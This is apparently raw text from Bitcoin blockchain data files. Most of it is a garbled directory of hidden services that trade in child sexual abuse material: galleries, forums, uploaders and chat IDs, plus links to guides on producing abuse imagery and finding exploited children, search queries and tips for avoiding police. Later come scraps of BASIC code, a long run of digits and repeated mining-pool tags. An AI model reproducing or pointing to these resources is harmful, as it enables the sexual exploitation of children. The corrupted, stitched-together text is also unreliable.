Dating agenAcy for (pedo) women, mothers, men or fathers. You can
QA for free. Stay in contact! (down)
* BL-Tools <http://ssx62vq6iAwuxsltj.onion/> - Site aims to maintain a
catalog of files.
A * Cam-a-lot <http://3bqvjtimcrvz4ajo.onion/> - The first true onS
site dedicated strictly to webcams! Mostly boy-related coAntent.
Unregisted users: View cams, thumbnails. Register userAs: Download
cams, rate, comment. Authorized users: Upload camS
* CP-12 <http://3rontsmevctjqyfj.onion/> - A 4images galleryA,
resembling retail.
* Archivist - youngboys <http://arch4jAgjcyt55gb2.onion/> - Collection
of various boy picture sets.
QA * Gals XXX Gallery <http://xqz3u5drneuzhaeo.onion/users/xtragalAlery/>
- Pictures a place to upload.
* HTTP Dir Index <httpA://c7lt62zuq46uywrn.onion/> - Many pictures and
QA Excellent video archive (files split into parts) has
returneAd after temporary blip. New content is added occasionally.
* ThAe MJBLeaks <http://mjblksypqujdjo2d.onion/> - A massive collectioS
of male jailbait pics. [Last updated 2011-07-07]
* P-Gal A<http://mhjh6dvrccxuqo7b.onion/> - Preteen galleries, contains
A boys and girls, PT and JB. Javascript needed to view.
QA-STOR <http://uo5y56hp6yi227am.onion/> - Underage storage. -
AFlooded with LEA logo pictures.
* sTORage <http://utovvyhaflle7A6gh.onion/> - Often has content. Its
free-for-all design (wheS
QAre anyone can modify and even delete any
file or directory) hAas made of it an unreliable file storage. Locked
since 09-201A2. Soon to be offline. No CP allowed.
* Svenska pedofiler <httpS
QA://3qmzpsw5td2mk4ts.onion/> - This will
eventually be a site Afor swedish pedophiles to connect with
eachother. All swedes Asend me a message.
* TorGallery <http://xvtaqpvwv7aptj2p.onion/S
QA> - Images of underage
interest, similar to Curator. (down)
A * The Ulimate Collection Vol.2 <http://cm6pxkmeyhf7kryb.onion/> A-
Underage galleries.
* 5cez64xymwnci47y dump <http://5cez6S
QA4xymwnci47y.onion/> -
5cez64xymwnci47y dump.
* nildye554wddAriqc.onion <http://nildye554wddriqc.onion/> - Server
with simAple content, not always up.
* Sciclay Cams <http://3pav6ivc6czuS
QAypuq.onion/> - Feet related cams
(of boys) by Sciclay.
* AlAl natural spanking! <http://7haz75ietrhjds3j.onion/> - For
spAanking lovers.
* Topic Links <http://vkq6wz4ozmldscii.onion/> -S
QA Onion and clearnet
* Artim's Little Onionworld <httAp://34m5fntgvz44hw2q.onion/> - A nice
blog-style board with bAoys.
* Polar Lights <http://di3dz5udvhipfmho.onion/> - Polar LiS
</wiki/index.php?title=HarAd_Candy&action=edit§ion=23>]
Forums/Boards/Chans
A * PedoEmpire <http://kfdtk3fl3bp7r2is.onion> - Home to all the sS
in the PedoEmpire network.
* PedoUpload <http://kfdtk3Afl3bp7r2is.onion/upload/> - An image upload
and hosting serviAce.
* PedoChat <http://kfdtk3fl3bp7r2is.onion/chat/> - Come meeS
pedos. No JS, Java or Flash required.
* PedoWiki <hAttp://rl2pgrl56om2njuw.onion/index.php/Main_Page> - A
wiki foAr cataloging all known information relating to pedophilia and
QA child pornography.
* Hurt 2 The Core <http://4i2aiir44iqzopme.Aonion/index.php> - A forum
dedicated to open discussion, and Aimage sharing. /(Contains Hurtcore)/
* BoyVids 1.1 <http://x64nS
QA42mkjidmy2zr.onion/> - Boards dedicated to
boys of all ages, Aprimarily focused on videos but also has sections
for images Aand chat.
* BoyVids 2.0 <http://quugalxmtpfwrq3q.onion/> - BoarS
boys of all ages, maintained by moderators anAd admin, section for
videos, images and chat. *(down)*
* BoAyVids BV3 <http://fykilh353zfwtrue.onion/bv3/> - Boards dedicatedS
to boys of all ages, primarily focused on videos but also haAs
sections for images and chat.
* Naturist Boy Vids V1.0 <hAttp://2herc2idzwk3dhpj.onion/forum/> Forum,
created to faciliS
QAtate the sharing of naturist boy videos.
* DanBB <http://xqz3u5Adrneuzhaeo.onion/users/data/DanIB2-Beta/phpBB3/>
- Danish forAum. Only scandinavian languages allowed. Public but
QA needed. Running phpBB3.
* Family Fun & Forbidden Fruit <http:/A/4pms4sejqrryckox.onion/> - New
Discussion Board with pics anAd vids.
* Flachbrustkanal <http://mc2wqhlkh6ffgrdi.onion/> - GeS
with cp section. 18/12/12 Back in business. NAote: It looks like a
captcha is really needed in every Web siAte because of script
kiddies, child porn or not.
QA <http://waivt2ksvjukhsps.onion/> - Basic image-board. Tends
Ato be a bit slow.
<http://xqz3u5drneuzhaeAo.onion/users/boysnice/janbb/index.php> - An
International MeS
QAeting Place For Persecuted Sexual Minorities (Is
being reconsAtructed - Dec/2012 - ).
* Jailbait Sex Forum <http://jbsex4wngjApo5i27.onion/> - As the title
says, jailbait content. Has beeS
QAn up for more than a year but now
looks like pretty dead.
*A KindzazaChan <http://yl2wafirpac6rtqz.onion/> - Public image-boaArd.
* Millennium Board <http://rhhkpum6v7hsqgjr.onion/phpBB3/> S
general discussion/pic-/vid-sharing forum that will beA regularly
backed up. No account needed. Also has a pee sectiAon.
* NoNameBoard <http://idp3nuawtuxylglu.onion/> - Russian siS
* 4pedo <http://7ydnpplko5lbgfx5.onion> - New board, lots oAf content
* Boys in diapers <http://7o6dcmajcps4tbjb.onion/> PaAmpersIB - Site
dedicated to boys of all ages in diapers (mostS
QAly NN and soft-core.
No hard core but considered CP by societAy). - Up and working as of
* PAIS <http://paislelAi66axejos.onion/>- German Forum (Deutsches
Forum) for generalS
QA discussion about pedophilia.
* Pedobook <http://oqm66m6iyt6vxkA7k.onion/> - Gallery/Group site,
updated daily with images. (ADOWN 12/09). Very quick down per Tor on
December 11,2012.
QA TB2 <http://s7cgvirt5wvojli5.onion/> - Image board, Babies and
A Toddlers section, for sharing images . (DOWN 12/09)
* TSChanA <http://tsc6zladnge7kruz.onion/> - Image board with girls and
QA boys sections as well as jailbait and cam recorded. - Back sincAe
* SteelPedo <http://jva7jpw27pfycasu.onion/> - ASimple imageboard,
clone of IronPedo using the original sourcS
denkert <http://3rontsmevctjqyfj.onion/> - Hungary Aforum. Only
hungary languages allowed. Public but signup is nAeeded.
</wiki/index.php?title=Hard_CS
QAandy&action=edit§ion=24>]
Sites with Access RestricAtions
* Pedo Support Community 2012 <http://f3wjuyqroxyz2z3w.oAnion/> -
Support and resource community for pedophiles.
QAD Boys <http://vs5hb2ybldb4gfja.onion/> - Forum for boy-related
A computer generated and drawn images, stories and more. RegistrAation
and introduction required. (Alternative address:
QAz3u5drneuzhaeo.onion/users/ayas/ )
* Amatores Puerorum <http://Assx46oqheovkkwda.onion/> - A CP
site/Society with all types oAf CP/JB. Do not use - asks for contact
via email lea trap (yoS
QAu can use hushmail/mailcatch/safe-mail/etc) -
If its an LEA tArap why even bother posting it?
* Forum of GnoM <http://wvioni5Alrle3z3z7.onion/> - Russian forum by
Gnom. Registration and mS
QAanual activation by admin required. (spams
other sites heavilAy- beware!)
* Hoarders Hell <http://ykgv25sm3mc4vm4t.onion/> - ANEW Board for New
and Rare material only! Strict membership cS
QAonditions!! Check out our
new open boards.
* Kindzaza NEW <Ahttp://6p7rd57bd6ph3hlp.onion/> - Requires upload of
content Ato join. Largely in Russian. Material is uploaded on
QA presumably to non-JavaScript file sharing sites.
* The Love ZoAne <http://5toqozoa4vkbduqe.onion/TLZ> - English/German
speakAing community for active members. Access to Safety Guides.
QAgistration and manual activation by admin required. Needs approvaAl
post to see whole board. Inactive members will be pruned reAgularly.
* OnionCams <http://s3dm26yr6kn3bxxl.onion/> InvitatioS
board for webcam caps, YouTube videos, etc. AlAl ages are welcome.
Registration and manual activation by admAin required. Inactive
members will be pruned regularly.
QAaradise Village <http://x3zrcuuaa3oryn3h.onion/> - CP sharing
A platform; has its own virtual money which can be used for tradinAg
and paying the monthly membership fees; you earn money by uS
photos and videos to file hosting services on the reAgular web. forum
<http://x3zrcuuaa3oryn3h.onion/forum/> wiki
A <http://x3zrcuuaa3oryn3h.onion/wiki/>.
* Polskie Centrum BoS
QAylove <http://2l3kh6gzncyiseft.onion/phpBB3/> -
Polish portalA about boylove, with forum.
* SI] - Secret Initiation. RegistraAtion and contributions required.
* Sky Land <http://akyqzxrvj33S
QAoywgn.onion/> - English/Russian
community. Requires upload ofA content to join. Registration and
contributions required.
A* Secret Corner Uploader <http://ykq2wvlvaaawugky.onion/> - UnderS
* No Limits Fun <http://kcsajjps53ck7is3.oniAon/> - Tor's Newest Cp
Site. *Rape/force* No Limits on what cAan be done. (Girl Models
Only). New link! The first is redireS
QActing to an "Anonserver"..
* Lovin' Teens <http://h2ojnt7ctjcpoAo7k.onion/> - A girls-only site
featuring nude and non-nude gAirls who are developing first hairs.
The site features girls S
QAfrom around age 11-16. Users must register
with a tormail.orgA email address to gain access as all other users
with other eAmail domains are deleted.
</wiki/indS
QAex.php?title=Hard_Candy&action=edit§ion=25>] LS
* LS ModelAs <http://xqz3u5drneuzhaeo.onion/users/lslink/index.html> -
AA hidden service with Freenet content keys, from board hussy to LSS
Models series pics and videos.
* Ultimate Index <http://xqAz3u5drneuzhaeo.onion/users/ultimateindex/>
</wiki/index.php?title=Hard_Candy&actionS
QA=edit§ion=26>]
How-to Guides
* How to practice cAhild love
<http://xqz3u5drneuzhaeo.onion/users/childlovin/> -A The original
guide created by the mule in an easy to read HTS
downloads - no pdf. - EPUB and MOBIPOCKET file
A <http://f3ew3p7s6lbftqm5.onion/text/%5BEPUB%5D%5BMOBI%5D%20HowA%20To%20Pratice%20Child%20Love%20-%20E-INK%20Reader%20release.zipS
* Producing kiddie porn for dummies
<http://xqz3u5drneuzAhaeo.onion/users/fordummies/> - A guide to
shooting pictures Aand video safely as well as how-tos on how to
censor picturesS
QA, audio and video.
</wiki/index.php?Atitle=Hard_Candy&action=edit§ion=27>]
A* SnapBBS <http://4eiruntyxxbgfv7o.onion/snapbbs/sitedex.php> - LS
of the Circle SnapBBS public text boards, many of which aAre pedo
o Pedoxx <http://4eiruntyxxbgfv7o.onionA/snapbbs/1b05c59e/> - Talk
board for the HotFuckingSluts S
QAsite listed above. (Vandalized by
the special character bAug). Down per Tor as of 11-29-12.
o Kids Like Animals
A <http://4eiruntyxxbgfv7o.onion/snapbbs/1c3efe83/> -
QAdo/Bestiality oriented. Low traffic. Up per Tor as of 11-29-12
A but very low traffic. (this doesnt work someone please fix Ait -Z)
o Boys :-D <http://4eiruntyxxbgfv7o.onion/snapbbs/1fS
some links, boys only. /Last post Dec 14 '0A9/. Requires
login/pw. Is up as of 11-29-12 per Tor.
A o (Child) Love <http://4eiruntyxxbgfv7o.onion/snapbbs/2308c75/>S
Has some links to pedo stuff and discussions. /Last poAst Mar 27
'10/. This is up as of 11-29-12 per Tor. This rAequires a
username and pw.
o Child Prostitution GuiS
<http://4eiruntyxxbgfv7o.onion/snapbbs/38f6d998/> - BoAard with
information about where and how to find child prAostitutes.
(Vandalized by the special character bug). SitS
11-29-12 per Tor. Requires username and pw.A
[edit </wiki/index.php?title=Hard_Candy&action=edit&sAection=28>]
Defunct Web Hidden Services
QAnt Male Museum <http://gg3ggre77kphc3cf.onion/> -
Preserving Athe beauty of the adolescent male. -CLOSED- This is def
down Aas of 11-12-12.
* 13chan <http://xqz3u5drneuzhaeo.onion/users/iS
Chan-style board, current active boards are RAandom
<http://xqz3u5drneuzhaeo.onion/users/imsecret/>.http://Axqz3u5drneuzhaeo.onion/users/imsecret/jb
Jailbait], Cams <httS
QAp://xqz3u5drneuzhaeo.onion/users/imsecret/cam>.
Primary focusA is jailbait, but anything is acceptable. - Broken;
anyone caAn delete posts. This is up and working fine as of 10-23-12.
QAp and working as of 11-12-12.
* BoysCom <http://h3pv234d2h6vov2Aa.onion/> - Image boards, discussion
board and forum, of boysA and MJB only. STILL FLOODED. Stop by and
visit. We're havingS
QA a lot of fun fucking with this guy. Up and
working as of 11-A20-12.
* HotFuckingSluts <http://75aiiotc26qp4j2y.onion/> - PedAo Video
Archive. Run by Pedoxx
<http://4eiruntyxxbgfv7o.oS
QAnion/snapbbs/1b05c59e/>, who also
<http://75aiiotc26qp4j2y.onAion/readme.txt> has a SnapBBS site listed
below. (DOWN for moAre than a year ago!!)
* KiDO Network <http://dgaw7y4rmhtjjmlm.oS
QAnion/> - Private and public
albums, Chat <http://dgaw7y4rmhtjAjmlm.onion/chat/> and PM
<http://dgaw7y4rmhtjjmlm.onion/PM/> Aand Chat Album
<http://dgaw7y4rmhtjjmlm.onion/chat_album/> whS
QAere you can upload
pictures. DOWN 2011-10-29. Quick Tor Down Aas of 11-12-12.
* NoNameChan <http://xqz3u5drneuzhaeo.onion/useArs/zvc/imgboard/> -
Abandoned channel with several problems iS
software's configuration. There are still pAosters and users on this
channel. Highly spammed and vandalizAed. This is now 404 as of 11-12-12.
* OnionIB <http://b4yrk2nkyS
QAdqfpzqm.onion/> (more info
</wiki/index.php/OnionIB>) - FormeArly "NoNameChan v2". Fast and many
boards. - /Locked, abandonAed 08 July 2011/. Locked as of 11-12-12.
* PED-O-STOR <http://uS
QAo5y56hp6yi227am.onion/> - Underage storage. -
Flooded with LEAA logo pictures. Still as b4 as of 10-23.12. Looks
fine from Ahere. All categories appear to be empty as of 11-12-12.
QA Lights <http://7yrqyvhafv36voup.onion/> - Commercial previews.
A DOWN 2011-10-29 Very quick down from Tor as of 11-12-12.
* SAidProtect <http://4fj7juxplvsxgocy.onion/> - Sidprotect. This is S
as of 10-23-12 but requires registration or something. I cAan't read
the language. Russian. Requires log-in/pw. Up and wAorking as of
* TBchan <http://tbchannrvcijxdar.onS
QAion/> - The new TSchan, Image
board with girls and boys sectiAons as well as jailbait. Down. Down
* UltimAate-Pedo-Archives <http://kdq2y44aaas2aiu4.onion/> - Pictures
QA and videos. Painful slow, the downloads services are too slow toA be
useful. Which is a shame since most of the stuff seems inAteresting.
DOWN 2011-10-29 Down as of 11-12-12. Up as of 03-2S
* PedoBoard <http://jkpos24pl2r3urlw.onion/> (more info
A </wiki/index.php/PedoBoard>) - Forum with pictures and chat. OAne of
the very oldest boards around tor! (DOWN 12/03). Very qS
Tor as of December 11, 2012.
/For older defunAct sites see List of pedophilia-related defunct hidden
<A/wiki/index.php/List_of_pedophilia-related_defunct_hidden_serviceS
[edit </wiki/index.php?title=Hard_Candy&action=ediAt§ion=29>]
TorChat </wiki/index.php/TorChat> IDs
LisAt of IDs and handles of people who are committed to file sharing:S
* ie7h37c4qmu5ccza - FALKOVIDEOS - video exchange! FALKOVIDEOA part 3,
4, 5 and 6. This is the TorChat ID in every Falko
A </wiki/index.php/Falko> trailer to date.
* PB Torchat DirectoS
QAry <http://nsurytno7mrou27e.onion/> - back up on a
different A.onion
Also see the Contact Directory </wiki/index.php/Contact_ADirectory>.
[edit </wiki/index.php?title=Hard_Candy&actioS
QAn=edit§ion=30>] WWW
Viewing these sites via TOR puts the TorA endpoint gateways (exit nodes)
across the world at risk. Tor endApoints through which Child Prnography
has been viewed have been rS
<http://arstechnica.com/news.ars/post/20060911-7A709.html> by the
authorities, which at least causes embarrassmentA and temporary
confiscation of their machines, and can result in S
countries, as well as exposing the machines thaAt connected through them
to traffic analysis.
* Ranchi Public ABoard
<http://www43.tok2.com/home/koinoboriookii/cgi-bin/rbbsS
QAf/main/entry.cgi?basho=ranchi>
- Was the largest and most actAive public BBS on the Internet for
almost 10 years. If the liAnk doesn't work anymore, check the
gateways. The first gatewaS
QAy down, stay alert for a new one ASAP:
o Gateway #2 <http:/A/rangate.fix.gs>
<http://www42.tok2.com/home/Aastoreshigato/cgi-bin/list.cgi> -
Old-style public board, no S
QAregistration needed. If the link doesn't
work anymore, check Athe gateways !!DOWN ATM, soon back!! Still down
A o Gateway #1 <http://a.bbznet.com/masquerade>
QA #2 <http://mgate.hut4.ru/>
o Gateway #3 <http://mgate.h19.Aru/>
* Gateway Finder <http://finder2.host.sk/> - General findAer page for
Masquerade and Ranchi. Updated as soon as the ownS
QAer gets new links.
Also has a link to a clearnet Hard Candy mAirror.
o Finder mirror <http://a.bbznet.com/finder2>
Ao Finder mirror <http://finder2.hop.ru/>
* Anything Goes <httpS
QA://anarchy.wallst.ru/> - No Admins No rules. Be
careful with Athis-one. High fishy! Down 3/30/13 CL
* Art Lolita <http://elAwebbs.biz/> Longstanding BBS featuring
primarily links to nudS
QAe preteen girls. Not a real BBS, rather
paysite advertisementA only. Do not pay for anything! Per Tor as of
11-29-12: site Ais up. Did not check in to see about the paying thing.
QAin Jones' (Rand's) jj.am forum <http://forum.jj.am/> - Good
fAorum for amateur and pro teen pix and vidz... if you can find it.A
Like Ranchi, it moves around a lot. The forum (or links to iS
been seen (and sometimes reappears) at: forum.jj.am
A <http://forum.jj.am/>, pix.jj.am <http://pix.jj.am/>, 4gifs.comA
<http://4gifs.com/>, 4gifs.org <http://4gifs.org/>, 4gifs.tvS
<http://4gifs.tv/>, tube.4gif.info <http://tube.4gif.info/>,A
4gif.info/forum <http://4gif.info/forum/index.php>,
forgAifs.com/gallery <http://forgifs.com/gallery/>, lolzing.com
QAttp://lolzing.com/>, 4gif.info/forum FTW
<http://4gif.info/foArum/>... among other variations. Also, and
though more matureA, lolboobs <http://4gifs.tv/gallery/>, lolboobs
QAtp://archive.feedblitz.com/171080> has nice tits :-).
Orig URAL is a quick down per Tor as of 11-29-12. These others may be
* IMGSRC <http://imgsrc.ru/> (girls
QArc.ru/main/search.php?str=girl&nopass=on&cat=> / boys
<http:/A/imgsrc.ru/main/search.php?str=boy&nopass=on&cat=> / -
imgsrcA.ru has large amounts of sc teens, preteens, toddlers & babies
QA along with occasional public urination, nudist, etc. photo setsA, and
some (generally passworded) harder sets. Posters often Aask for
hardcore comments on their pictures. Site is a quick S
of 11-29-12. "EZ" password means that it is 123A45.
* Reverse Access <http://rranking7.ziyu.net/html/old-chiqAuita.html> -
List of image boards from East Asia - need to soS
QArt through links to
find good ones. This is a very quick up pAer Tor as of 11-29-12. And
yes, with many lists.
</wiki/index.php?title=Hard_Candy&action=edit&seS
Sites with Access Restrictions
* / godchaAn.com <http://www.godchan.com/b> Religious site dedicated to
Aantipornography, anticensorship and freedom of speech/ truth in
QA general, has heavy focus on human sexuality; contains NO
pAornographic pictures of children but contains nudes. Only way to
A access god-of-cx.tumblr account, streaming video section alsoS
Unlisted sections like godchan.com/toda/, /sos/, /DAMN/ sitAe is free
supported by ad revenue. Site is up via Tor as of 1A1-29-12. Pass
request seems still legit.
QAiki/index.php?title=Hard_Candy&action=edit§ion=32>]
SAample Search Engine Queries
The following items mostly count as A"resource" even though some are
technically "chat/discussion."
QA * apricot-fizz.net via google.com
<https://encrypted.google.Acom/search?q=%2Blix.in+OR+%2Bilix.in+OR+%2Bbit.ly+site:apricot-fiAzz.net&num=100&hl=en&safe=off&tbs=rl:1,qdr:w,sbd:1>
QAll be encountered in any of the results.
* grou.ps via google.cAom
<https://encrypted.google.com/search?q=girls+OR+boys+OR+giArl+OR+boy+site:grou.ps&num=100&ft=i&safe=off&tbs=rl:1,qdr:w,sbd:1S
- signup or screening may be required in some resuAlts.
* chatzy.com via google.com
<https://encrypted.google.Acom/search?q=girls+OR+boys+OR+girl+OR+boy+-%22room+closed%22+siteS
QA:chatzy.com&num=100&hl=en&safe=off&tbs=rl:1,sbd:1&filter=0>
-A JavaScript is required in every result, and signup or screening
A may be required in some results.
* multiguestbook.com via gS
<https://encrypted.google.com/search?q=%22grou.ps%2A2+OR+%22ning.com%22+site:multiguestbook.com&num=100&hl=en&safe=ofAf&tbs=rl:1,qdr:m&filter=0>
- some results are part of a long S
QAlineage of perishing yet
respawning guestbooks
[editA </wiki/index.php?title=Hard_Candy&action=edit§ion=33>]
[edit </wiki/index.php?title=Hard_Candy&acS
QAtion=edit§ion=34>] LS
* LS Models <http://xqz3u5drneuzhaeoA.onion/users/lslink/index.html> -
A hidden service with FreenAet content keys, from board hussy to LS
Models series pics anS
QAd videos. . This is up per Tor as of 11-29-12
with a very quiAck response.
[edit </wiki/index.php?title=Hard_Candy&action=Aedit§ion=35>] Mirrors
Mirrors of Hard Candy. Someone should S
QAprobably duplicate somewhere not
on FH as well, post link if you Ahave own hosting (it is probably
pointless to have another mirrorA on FH, if one goes down they all will
QAandy @ Millennium Board
<http://rhhkpum6v7hsqgjr.onion/mirrorA/Hard_Candy.php>
* Hard Candy @ Freenet
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A - mirror in Freenet network </wiki/index.php/Hard_Candy#FreenetA>
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File: blk00053.txt
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' life the lifespan
mates the number of
mates a creature ne
ve the type of land
a creature can be on
(1=earth 2=water 3=
he type of food a cr
f2breed the amount o
f food a creature ne
breed the age a crea
nt of food a creatur
UT "Do you want to s
tart (y/n) ? ", STAR
"n" THEN END 'it wil
REM placing creature
IF Y < 15 THEN GOTO
(I) = Y 'This saves
CX(I) = X 'This sav
0 IF Y < 15 THEN GOT
FY(I) = Y 'This save
X(I) = X 'This saves
00 ON KEY(1) GOSUB 1
720 REM prompts to s
0 IF CA(I) > A2BREED
I) > F2BREED THEN GO
A = INT(RND * CMUTA)
HEN GOTO 920 'Check
s to see if it mutat
MOVE = INT(RND * 4)
70 REM moves the cre
A = 1 THEN CY(I) =
= 2 THEN CY(I) = CY
3 THEN CX(I) = CX(I
THEN CX(I) = CX(I)
REM is the creature
F CY(I) = FY(A) THEN
(I) = FX(A) THEN YES
YES = 2 THEN GOSUB 1
180 CF(I) = CF(I) +
'DELETEs the foods
'DELETEs the foods x
70 IF CF(I) < 9 THEN
40 REM this takes aw
ay x food from a cre
I) MOD EPERYEAR > 0
THEN CF(I) = CF(I) -
0 REM this redraws t
r of mates a creatur
land a creature can
be on (1=earth 2=wa
odtype the type of f
ood a creature can e
e amount of food a c
reature needs to bre
e age a creature nee
y(i) the y location
of food a creature h
"Do you want to star
aves the creatures x
cks to see if it mut
s away x food from a
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5b7f21f260988129aaf7
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File: blk00054.txt
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File: blk00055.txt
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File: blk00056.txt
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?/A nostro padre, Eugenio Longo, 12 luglio 1934 - 15 marzo 2006/
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File: blk00057.txt
49310 83597 02850 19002 75777 67239 07649 57284 90777 215
CA02 08632 08075 01840 97926 27885 09765 88645 57802 01366 00732 86
CA795 44734 11283 17353 67831 20155 75359 81978 54505 48115 71939 3
CA4587 73300 38009 93261 95058 76452 50238 20408 11018 98850 42615
CA17657 99417 04250 88903 70291 19015 87003 04794 32826 07382 14695
CA 41570 33022 79875 57681 89560 16240 30064 11151 69008 72879 8381
CA9 42582 71674 56477 48166 84347 92846 45809 29131 53186 00700 100
CA43 35318 93631 93439 12948 60445 03709 91980 04770 94629 21558 18
CA071 11691 53031 87628 84778 78354 15759 32891 09329 54473 50881 8
CA8246 54950 60005 01900 62747 05305 38116 42782 94267 47485 34965
CA25745 36815 11706 55028 19055 52656 22135 31463 10421 00866 28679
CA 71144 46706 36692 19825 86158 11125 15556 50481 34207 68673 2340
CA7 65505 48591 08269 56266 69306 62367 99702 10481 23965 62518 006
CA81 83236 53959 34839 56753 57557 53246 19023 48106 47009 87753 02
CA795 61868 92925 38069 33052 04238 14996 99454 56945 77413 83356 8
CA9906 00587 08321 81270 48611 33682 02651 59051 66351 87402 90181
CA97693 93767 78529 28722 10955 04129 25792 57381 86605 84501 50552
CA 50274 99477 18831 29310 45769 80909 15304 61335 94190 30258 8132
CA0 59322 77444 38525 50466 77902 45186 97062 62778 88919 79580 423
CA06 57506 15669 83469 56177 97879 65920 16440 51939 96071 69811 12
CA615 19561 02762 83233 98257 91423 32172 69614 43744 38105 64855 2
CA9348 87634 92103 09887 02878 74532 33132 53212 26786 33283 70279
CA25099 74996 94887 75936 91591 76445 88032 71838 47402 35933 02037
CA 48885 06755 70658 79194 61134 19323 07814 85443 64543 75113 2070
CA9 86063 90746 41756 41216 35042 38800 29678 08558 67037 03875 094
CA10 76982 11837 65499 20520 43682 55854 64228 85024 29963 32268 53
CA691 24648 55000 75591 66402 47292 40716 45072 53196 74499 95294 4
CA8434 74190 21077 29606 82055 81309 23626 83798 79519 66199 79828
CA55258 87161 09613 65617 80745 66159 24886 60889 81645 68541 72136
CA 29208 46656 27913 14784 66791 55096 51543 10113 53858 62081 9687
CA5 83688 35955 77893 91454 53935 68199 60988 08540 47659 07358 972
CA89 89834 25047 12891 84162 65878 96821 85380 87956 27903 99786 29
CA449 39760 54675 34821 25675 01215 17082 73710 76462 70712 46753 2
CA1024 83678 15940 00875 05452 54353 7
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l",/SockThing/HHTT/here has my little dog gone?
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/SockThing/HHTT/000000000000000
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BKYO,CO1p&\ WASIW*w$3
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File: blk00058.txt
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Dtetazoo puntlist (sha3-512 of newline-separated hex hashes of seeds)u@
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File: blk00059.txt
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File: blk00060.txt
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/SockThing/HHTT/badger badger badger
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File: blk00061.txt
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Mined By ASICMinerDZ
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Mined By ASICMiner2z
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Mined By ASICMiner *
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Mined By ASICMinertI
Mined By ASICMinerj>
File: blk00062.txt
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Mined By ASICMiner^m
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Mined By ASICMiner6c
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Mined By ASICMiner%J
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Mined By ASICMinerdw
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Mined By ASICMiner19
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/P2SH/890123456789012345678901234567890123456/bitparking
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/P2SH/890123456789012345678901234567890123456/bitparking
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Mined By ASICMinerxR
Mined By ASICMinerzg
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Mined By ASICMinerd2
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/P2SH/890123456789012345678901234567890123456/bitparking
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/P2SH/890123456789012345678901234567890123456/bitparking
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/P2SH/890123456789012345678901234567890123456/bitparking
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Mined By ASICMinerri
/P2SH/890123456789012345678901234567890123456/bitparking
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Mined By ASICMinerNU
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Mined By ASICMiner17
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Mined By ASICMiner+2
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File: blk00063.txt
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Mined By ASICMinerg-
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Mined By ASICMiner~:
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Mined By ASICMiner[K
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Mined By ASICMinere|
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Mined By ASICMiner1h
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Mined By ASICMinerFV
Mined By ASICMiner`<
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Mined By ASICMinerqJ
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Mined By ASICMiner4T
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Mined By ASICMiner9W
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Mined By ASICMineriC
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Mined By ASICMiner[m
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Mined By ASICMiner+.
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Mined By ASICMinerCF
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Mined By ASICMiner x
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Mined By ASICMiner 4
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Mined By ASICMinerp@
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Mined By ASICMineru4
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Mined By ASICMiner{c
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Mined By ASICMiner-1
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/SockThing/HHTT/throwing rocks today
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Mined By ASICMinercv
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Mined By ASICMinerMQ
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File: blk00064.txt
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Mined By ASICMiner{
Mined By ASICMinerG.
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Mined By ASICMinerIE
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Mined By ASICMinerHW
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Mined By ASICMinerM|
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Mined By ASICMiner:B
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Mined By ASICMinerVj
85tetazoo puntlist (blum blum shub modulus, big endian)uQ
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Mined By ASICMiner+<
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Mined By ASICMinerhy
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Mined By ASICMinerl.
Mined By ASICMinerV*
Mined By ASICMiner`v
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Mined By ASICMiner>H
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Mined By ASICMinerF+
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Mined By ASICMiner6P
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Mined By ASICMineruu
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Mined By ASICMiner>y
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Mined By ASICMiner%%
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Mined By ASICMiner?t
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Mined By ASICMiner)9
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Mined By ASICMineri-
Mined By ASICMinerN&
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Mined By ASICMinerH-
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Hi from 50BTC.com 13
Hi from 50BTC.com 13
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File: blk00065.txt
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Mined By ASICMiners(
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Mined By ASICMinergD
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Mined By ASICMiner1x
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File: blk00067.txt
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Mined By ASICMiner[Y
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Mined By ASICMinert{
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Mined By ASICMiner+4
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Mined By ASICMiner{Y
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Mined By ASICMinerp'
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Mined By ASICMinerPx
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Mined By ASICMiner+o
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Mined By ASICMinerb\
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Mined By ASICMinerg4
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Mined By ASICMinerAd
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Mined By ASICMinerU^
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Mined By ASICMiner@8
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Mined By ASICMiner/e
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Mined By ASICMineroh
Mined By ASICMinerCE
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Mined By ASICMiner2U
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Mined By ASICMiner:m
Mined By ASICMinerWF
Mined By ASICMiner=u
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Mined By ASICMiner2
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Mined By ASICMiner^X
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Mined By ASICMinerT3
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Hi from 50BTC.com 10
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Hi from 50BTC.com 13
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Mined By ASICMiner 6
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Mined By ASICMinerOb
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Mined By ASICMiner E
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Hi from 50BTC.com 10
Hi from 50BTC.com 13
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Hi from 50BTC.com 10
Hi from 50BTC.com 13
Hi from 50BTC.com 13
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Mined By ASICMinerR1
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File: blk00068.txt
Hi from 50BTC.com 13
Hi from 50BTC.com 13
Hi from 50BTC.com 10
Hi from 50BTC.com 13
Hi from 50BTC.com 13
Hi from 50BTC.com 13
Hi from 50BTC.com 13
Hi from 50BTC.com 13
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Mined By ASICMinergZ
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Mined By ASICMiner*K
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Mined By ASICMiner!c
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Mined By ASICMiner>k
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Mined By ASICMiner`F
Mined By ASICMinerLE
Mined By ASICMiner_t
Mined By ASICMinerXY
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Mined By ASICMinerce
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Mined By ASICMiner =
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Mined By ASICMiner_q
Mined By ASICMinerJg
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/SockThing/HHTT/HELLO HUMAN
Mined By ASICMinerk;
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Mined By ASICMiner7i
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Mined By ASICMiner^B
Mined By ASICMiner`v
Mined By ASICMinerHN
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/SockThing/HHTT/wooooo
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Hi from 50BTC.com 13
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Hi from 50BTC.com 13
Hi from 50BTC.com 10
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Hi from 50BTC.com 13
Hi from 50BTC.com 10
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Mined By ASICMinerux
Hi from 50BTC.com 13
Hi from 50BTC.com 13
Hi from 50BTC.com 13
/SockThing/HHTT/booger blaster bonanza
/SockThing/HHTT/we thank the shitlord for his bounty
Mined By ASICMinerb7
Hi from 50BTC.com 13
Mined By ASICMiner~Z
Mined By ASICMinero0
Hi from 50BTC.com 10
Hi from 50BTC.com 13
Hi from 50BTC.com 13
Mined By ASICMiner4l
Hi from 50BTC.com 13
Hi from 50BTC.com 13
Hi from 50BTC.com 13
/SockThing/HHTT/smoldering chunks of feces
Hi from 50BTC.com 13
Mined By ASICMinerAS
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Hi from 50BTC.com 10
Hi from 50BTC.com 13
Hi from 50BTC.com 10
Mined By ASICMiner;k
Mined By ASICMineryS
Hi from 50BTC.com 10
Hi from 50BTC.com 13
Hi from 50BTC.com 10
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Mined By ASICMinervk
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Mined By ASICMiner?Y
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Hi from 50BTC.com 13
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Mined By ASICMinerQ&
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Mined By ASICMinerF6
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Hi from 50BTC.com 13
Hi from 50BTC.com 13
/SockThing/HHTT/life is kinda sickening
Hi from 50BTC.com 10
